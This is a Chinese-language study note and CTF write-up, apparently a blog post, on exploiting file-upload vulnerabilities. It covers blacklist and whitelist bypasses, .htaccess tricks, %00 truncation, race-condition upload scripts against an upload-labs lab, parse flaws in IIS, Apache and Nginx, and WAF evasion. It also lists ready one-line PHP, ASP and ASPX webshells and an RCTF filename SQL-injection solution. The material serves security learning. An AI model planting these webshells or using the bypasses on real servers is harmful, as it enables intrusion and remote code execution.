文件上传漏洞

后缀名:黑名单,白名单

文件类型:MIME信息(数据包中Content-Type)

文件头:内容头信息(如:GIF89a)

JS检测绕过攻击

上传文件的数据包并没有被发送到服务端,只是在客户端浏览器使用JavaScript对数据包进行检测,服务端的php代码中并没有对文件后缀做任何判断

方法:

删除检测文件后缀的js代码

把需要上传文件的后缀名改为允许上传的绕过js的验证,再抓包,把后缀名改为可执行文件的后缀即可上传成功,蚁剑连接得flag

了解点基本代码

<html>
  <head>
    <meta charset="utf-8">
    <title>菜鸟教程(runoob.com)</title>
  </head>
  <body>

    <form action="upload_file.php" method="post" enctype="multipart/form-data">
      <label for="file">文件名:</label>
      <input type="file" name="file" id="file"><br>
      <input type="submit" name="submit" value="提交">
    </form>

  </body>
</html>
<?php
  if ($_FILES["file"]["error"] > 0)
{
  echo "错误:" . $_FILES["file"]["error"] . "<br>";
  }
  else
{
  echo "上传文件名: " . $_FILES["file"]["name"] . "<br>";
echo "文件类型: " . $_FILES["file"]["type"] . "<br>";
echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
echo "文件临时存储的位置: " . $_FILES["file"]["tmp_name"];
}
?>
<?php
// 允许上传的图片后缀
$allowedExts = array("gif", "jpeg", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp);        // 获取文件后缀名
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/jpg")
|| ($_FILES["file"]["type"] == "image/pjpeg")
|| ($_FILES["file"]["type"] == "image/x-png")
|| ($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 204800)    // 小于 200 kb
&& in_array($extension, $allowedExts))
{
    if ($_FILES["file"]["error"] > 0)  //UPLOAD_ERR_OK - 值:0; 没有错误发生,文件上传成功 
    {
        echo "错误:: " . $_FILES["file"]["error"] . "<br>";
    }
    else
    {
        echo "上传文件名: " . $_FILES["file"]["name"] . "<br>";
        echo "文件类型: " . $_FILES["file"]["type"] . "<br>";
        echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
        echo "文件临时存储的位置: " . $_FILES["file"]["tmp_name"];
    }
}
else
{
    echo "非法的文件格式";
}
?>
    // 判断当前目录下的 upload 目录是否存在该文件
        // 如果没有 upload 目录,你需要创建它,upload 目录权限为 777
        if (file_exists("upload/" . $_FILES["file"]["name"]))
        {
            echo $_FILES["file"]["name"] . " 文件已经存在。 ";
        }
        else
        {
            // 如果 upload 目录不存在该文件则将文件上传到 upload 目录下
            move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
            echo "文件存储在: " . "upload/" . $_FILES["file"]["name"];
        }

trim() 函数移除字符串两侧的空白字符或其他预定义字符

$file_name = trim($_FILES['upload_file']['name']);

strrchr() 函数查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符

$file_ext = strrchr($file_name, '.');

判断$file_ext不在$deny_ext中

 if(!in_array($file_ext, $deny_ext))

黑名单绕过思路

特殊解析后缀

上传php其它格式如php3,php5,phtml后缀名实现绕过

要求:Apache 配置文件中有相关操作支持php3,php5等

.htaccess

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能

即如果上传了一个.htaccess文件到服务器,那么服务器之后就会将特定格式的文件以php格式解析

方法一

SetHandler application/x-httpd-php //所有的文件当做php文件来解析

方法二

AddType application/x-httpd-php .png //.png文件当作php文件解析

一些windows特有的绕过

$file_ext = trim($file_ext); //首尾去空
$file_name = deldot($file_name);//删除文件名末尾的点

空格在windows文件命名上加空格,空格会自动清除掉,但是在数据包中空格可以明确地添加上去,所以可以实现绕过php黑名单限制,在windows上实现脚本的正常上传,点号同理

后缀名检测绕过:

$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

如果文件名+“::$DATA”会把::DATA之后的数据当成文件流处理,不会检测后缀名,且保持“::DATA”之前的文件名

白名单绕过思路

%00截断

条件:

1.php版本要低于5.3.4

2.magic_quotes_gpc需要为off状态

if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
?save_path=../upload/1.php%00
../upload/1.php%003221213223.jpg
../upload/1.php

get和post的一点区别

%00我们是要url编码后为%00

post请求往往会把数据当做原始数据处理无法自动识别所以post请求中输入了%00还需要给它解码一下

之前SQL注入碰到的%df和#(%23)的特殊性都是这个道理

内容及其他

图片中写入后门代码命令

copy x.png /b + 111.php /a webshell.jpg

图片马需要配合文件包含漏洞执行,文件包含漏洞是把图片当做了脚本去执行

 <?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
    include $file;
}else{
    show_source(__file__);
}
?> 

文件头检测

png图片文件包含:89 50 4E 47 0D 0A 1A 0A

jpg图片文件包含:FF D8

gif图片文件包含:47 49 46 38 39|37 61

bmp图片文件包含:42 4D

以下函数都很安全:

getimagesize() 函数,用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。

exif_imagetype()函数,也是用于获取图片类型,速度比getimage()快很多,需要开启php_exif模块

imagecreatefromjpeg(),imagecreatefrompng(),imagecreatefromgif()

二次渲染

文件在上传的时候分了两步

存在漏洞的原因:第一步上传未验证,在第一步之后做的验证产生逻辑漏洞

条件竞争

既然这样,将php文件不停地发包,再通过脚本去不停的访问我们上传的文件,总有一瞬间是还没来得及删除就被访问到了,然后要准备:一旦访问到就在当前目录下生成名为pass.php的一句话木马。

<?php fputs(fopen('pass.php','w'),'<?php phpinfo();?>'); ?>
import requests
url = "http://127.0.0.1/upload-labs/upload/shell.php"
while True:
    html = requests.get(url)
    if html.status_code == 200:
        print("创建成功")
        break

fputs() 函数写入文件(可安全用于二进制文件)

语法:fputs(file,string,length)

fopen() 函数打开文件或者 URL

语法:fopen(filename,mode,include_path,context)

w:写入方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。

在做upload-labs看大佬的通关博客中,除上面这种之外有一种方式叫python多线程上传(拿来学习一下)

# coding:utf-8
import requests
from concurrent.futures import ThreadPoolExecutor


def td(list):
    url = 'http://localhost/upload-labs/Pass-17/index.php'
    files = {'upload_file': (
        'shell2.php', "<?php fputs(fopen('pass2.php','w'),'<?php phpinfo();?>');?>")}
    data = {'submit': '上传'}
    r = requests.post(url=url, data=data, files=files)
    re = requests.get('http://localhost/upload-labs/upload/shell2.php')
    if re.status_code == 200:
        print('上传成功')


if __name__ == '__main__':
    with ThreadPoolExecutor(20) as p:  # 创建一个最大容量数为20的线程池,即线程池中最多能同时运行的线程数目为20
        p.map(td, range(200))

多线程:提高爬取效率

单线程:请求到url->得到响应->从响应中提取内容->存储到本地

操作系统每次运行一个程序的时候会给程序准备一块内存,内存存储产生的变量常量一些东西,这个内存区域可以叫:xxx进程。在这个进程里面会有若干个线程帮我们进行工作。进程:资源单位。线程:执行单位。每一个进程至少有一个线程。

启动一个程序默认会有一个主线程

map(fn, *iterables, timeout=None)

fn: 第一个参数 fn 是需要线程执行的函数;
iterables:第二个参数接受一个可迭代对象
timeout: 第三个参数 timeout 跟 wait() 的 timeout 一样,但由于 map 是返回线程执行的结果,如果 timeout小于线程执行时间会抛异常 TimeoutError

简而言之这个脚本就是在模拟bp发包

目录命名

 $img_path = UPLOAD_PATH . '/' .$file_name;

一种是同之前%00截断

upload-19.php%00.jpg

另一种是文件夹命名特有的

upload/upload-19.php/.

以此来绕过后缀限制,又让代码保存时是upload-19.php

数组接受+目录命名

放个源代码

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //检查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上传该类型文件!";
    }else{
        //检查文件名
        $file =                                                                
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }

        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上传该后缀文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功!";
                $is_upload = true;
            } else {
                $msg = "文件上传失败!";
            }
        }
    }
}else{
    $msg = "请选择要上传的文件!";
}

explode() 函数把字符串打散为数组。

语法:explode(separator,string,limit)

separator

必需。规定在哪里分割字符串。

string

必需。要分割的字符串。

limit

可选。规定所返回的数组元素的数目。

end() 函数将数组内部指针指向最后一个元素,并返回该元素的值(如果成功)

reset() 函数将内部指针指向数组中的第一个元素,并输出。

这样

上传配合解析漏洞

IIS6.0

处理文件夹扩展名出错

image/qq.jpg

image.asp/qq.jpg qq.jpg就会被当做asp解析

截断字符;

image.jpg

image.asp;.jpg或xxx.asp;xxx.jpg 此文件被当做asp执行

asp可以被换做php 如果换了php及当做php执行

Apache多后缀解析漏洞

Nginx配置文件错误导致的解析漏洞

Nginx配置fastcgi使用php会存在文件类型解析漏洞

对于任意文件名,在后面添加/xxx.php(xxx为任意字符)后,即可将文件作为php解析。
例:info.jpg后面加上/xxx.php,会将info.jpg 以php解析,xxx.php是不存在的文件。

该漏洞是Nginx配置所导致,与Nginx版本无关

IIS7.5 同这一样

Nginx文件名逻辑漏洞(CVE-2013-45475)

影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7

补充:如果版本符合但是打补丁了也无法操作

WAF绕过

建立在有文件上传漏洞的基础上

上传参数名解析:明确哪些东西可以更改

Content-Disposition:一般可更改

name:表单参数值,不可更改(由上传点的东西决定)

filename:文件名,可以更改

Content-Type:文件MIME,视情况更改

常见绕过方法:

垃圾数据溢出-防匹配

当大量数据的时候,程序会有一个崩溃和截至

插入位置:文件名处,间隔的分号之间,(记得加分号,分号代表语句的结束)

符号变异-防匹配(' " ;)

带引号的说明是不固定可更改的,不带引号认为是函数名或者是程序自带的东西

很多地方存在替换思想,双引号和单引号的效果是一样的,猜测安全狗检测的只是双引号里的东西

或者尝试让引号不闭合filename="qq.php

数据截断-防匹配(%00;换行)

分号(;):分号代表一个语句的结束,数据包把它当文件名但安全狗认为结束了就有qq.jpg;.php实现绕过

换行的话就是数据包文件名不会管换行符能识别写法,但安全狗检测到的是(qq.p\nh\np\n)

重复数据-防匹配(参数多次)

首先要搞清楚数据包上传filename是以哪个为准,再借助安全狗过滤递归循环它过滤几次的问题

或者利用数据包自带的一些信息的写入,安全狗检查filename在这个参数里面写

总之就是在满足数据包不被损坏的情况下,通过尝试来揣测进而绕过安全狗的检查机制(二者的差异性)

一句话木马

整点资料记一下

asp一句话

<%execute(request("hucys"))%>

<%eval request("hucys")%>

<%eval(Request.Item["hucys"],"unsafe");%>

php一句话

<?php eval($_POST[hucys]);?>

<script language="php">@eval($_POST[hucys])</script>

aspx一句话

<% @Page Language="Jscript"%><%eval(Request.Item["hucys"],"unsafe");%>

<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>

[RCTF 2021]upload

尝试了很多上面学到的绕过方法,buu做的题上传上去了的的.phtml也是了发现都不行估计是白名单,上传了半天只有.jpg可以上传,然后发现产生回显

查阅了wp,因为回显的是文件名,传入数据库的就也可能是文件名,既然连接了数据库发生了交互就有可能存在注入漏洞,因而要联想到文件名SQL注入,尝试注入,select被过滤了一次双写绕过一下,嗯...还有就是单引号闭合,产生下面的界面,回显如下

只有111,猜测是回显格式过滤,把字母转成十六进制,传入数据库文件名中如果包括SQL语句,在返回信息时,服务器将对字母进行截断(某些特殊字符也会截断或过滤)

这个的话十六进制转字符串看了一下是这样的:(它应该是web的,7765736有问题出现这个的原因下面说了)

同上因为服务器对字符进行了截断,因此用CONV十六进制转换为十进制

还因为回显长度的原因,需要使用substr

这里就不得不重视一个问题,我这数字好像跟wp上的不太一样啊???

检查了一下注入语句没问题,根据差值一个110一个为1,我猜测应该是我取的文件名的问题这个文件最开始叫111.jpg

换个不带数字的名字测试了一下

不出所料,至于为什么待会有空研究一下

最下面这串先转十六进制再转字符转回去得到web_up

同理substr搞出后半段

1819238756 转换得load,拼接得库名web_upload

同理得表名和列名

表名:hello_flag_is_here

列名:i_am_flag

数据:!!_@m_Th.e_F!lag

整理点没见过的:

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值